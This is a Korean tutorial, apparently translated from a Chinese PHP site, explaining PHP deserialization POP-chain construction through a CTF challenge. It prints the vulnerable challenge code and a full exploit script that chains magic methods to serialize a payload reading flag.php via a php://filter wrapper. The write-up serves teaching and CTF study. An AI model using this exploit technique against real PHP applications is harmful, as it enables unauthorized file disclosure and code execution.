이 기사에서는 팝 체인 구성과 관련된 문제를 주로 소개하는 PHP에 대한 관련 지식을 제공합니다. 팝 체인은 콜 체인 구성에 일반적으로 사용되는 일종의 속성 지향 프로그래밍에 대해 함께 살펴보겠습니다. 모든 사람에게 도움이 되기를 바랍니다.
추천 학습: "PHP Video Tutorial"
계속해서 역직렬화에 대해 배우면서 팝 체인의 구조에 대해 알아봅시다. 이 팝체인은 아직 저 같은 초보에게는 이해하기 어려운 내용입니다. 이를 요약하고 팝체인 구성에 대한 이해를 깊게 하기 위해 이 글을 다시 작성하겠습니다. 동시에 함정에 빠지고 싶어하는 친구들에게도 어느 정도 이해를 제공합니다.
일반적인 역직렬화 문제, 허점이 있거나 악성 코드가 매직 메소드에 주입될 수 있는 경우 자동으로 매직 메소드를 호출하여 공격 효과를 얻을 수 있습니다. 하지만 일반 클래스 메소드에 주입 지점이 존재하면 이전에 자동으로 호출된 메소드는 무효가 됩니다. 따라서 일반 클래스와 매직 메소드 사이의 연결점을 찾아 논리적 아이디어를 파악하고 이를 활용해야 합니다. 공격 목적을 달성하기 위해 팝 체인을 구축합니다. 그러므로 이런 팝 질문을 할 때 우리는 매직 방식에 세심한 주의를 기울여야 합니다.
콜 체인을 구성하는 데 자주 사용되는 속성 지향 프로그래밍 방법입니다. 문제의 코드에서 호출할 수 있는 일련의 명령어를 찾아 이러한 명령어를 악의적인 공격 효과를 얻을 수 있는 논리 코드로 통합하는데, 이는 팝 체인(개인적인 이해, 마스터의 의견 제시는 환영)입니다. 팝체인, 매직메소드는 필수입니다. 다음은 팝 체인이 어떻게 구성되는지와 구체적인 구성 아이디어를 설명하기 위해 예를 사용합니다
질문 코드:
Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
콜 체인을 구성할 때 먼저 호출의 머리와 꼬리를 찾으세요. 체인. 헤더는 일반적으로 매개변수를 전달하고 역직렬화할 수 있는 위치인 반면, 테일은 일반적으로 악성 코드가 실행될 수 있는 위치입니다. 이 질문에 대한 코드를 감사할 때 헤더는 get 메서드를 사용하여 매개변수를 pop에 전달하고 꼬리에는 include 함수가 포함됩니다. 이 시점에서 우리는 플래그 파일의 소스 코드를 읽으려면 PHP 의사 프로토콜을 사용해야 한다는 것을 모두 알아야 합니다. 이제 머리와 꼬리가 발견되었으니 공격 방법도 알게 되었습니다. 그런 다음 질문에서 마법의 방법을 찾으십시오.
__invoke() 当一个类被当作函数执行时调用此方法。 __construct 在创建对象时调用此方法 __toString() 在一个类被当作字符串处理时调用此方法 __wakeup() 当反序列化恢复成对象时调用此方法 __get() 当读取不可访问或不存在的属性的值会被调用
문제에는 총 5가지 마법 방법이 있습니다. 그런 다음 일반 클래스와 매직 메소드 사이의 연관성을 찾으십시오.
소스에서 민감한 문자열을 찾는 데 사용되는 wakeup 함수에 preg_match 함수가 있다는 것을 쉽게 알 수 있습니다. 여기서부터 소스를 show 클래스에 할당하면 toString 함수가 다음과 같이 됩니다. 자동으로 트리거되므로 이제 tostring 메소드를 사용해야 합니다. 체인을 확장하려면 totring 메소드의 테스트 클래스에 $this->str을 할당하고 테스트 클래스의 소스 변수를 읽을 수 있습니다. 테스트 클래스의 source 속성, 액세스할 수 없는 속성에 액세스합니다.) 그런 다음 자동으로 get 매직 메소드를 호출합니다. get 메소드에 함수 호출이 있음을 알 수 있으며 $this->p를 Modifier 클래스에 할당할 수 있으며, 호출 메소드가 자동으로 호출되어 우리가 작성한 PHP 의사 프로토콜을 실행합니다(할당 Modifer 클래스의 var 속성을 악성 코드로 변경)
이 시점에서 팝 체인을 구성합니다.
<?php class Modifier { protected $var='php://filter/read=convert.base64-encode/resource=flag.php'; } class Show{ public $source; public $str; function _construct(){ $this->source=$file; } } class Test{ public $p; } $a = new show(); $b = new show(); $c = new test(); $d = new Modifier(); $a->source=$b; $b->str=$c; $c->p= $d; echo urlencode(serialize($a)); ?>
먼저 프레임워크를 구성하는 데 사용되는 클래스를 작성한 다음 클래스에 변수를 표시합니다. 별도로 사용하는 클래스를 인스턴스화합니다. 왜 new show를 두 번 사용해야 합니까? (코드를 보면 이해가 될 것입니다. 첫 번째는 show 클래스를 인스턴스화하고 두 번째는 show 클래스를 인스턴스화하는 것입니다. 첫 번째 인스턴스화. source=두 번째로 인스턴스화된 표시)
직렬화할 때 URL 인코딩을 사용해 보세요(이 질문에는 보호된 수정 속성이 있으며 보이지 않는 문자가 있습니다)
추천 학습: "PHP 비디오 튜토리얼 》
위 내용은 PHP 역직렬화 팝 체인 구축 지식 포인트에 대한 자세한 소개의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!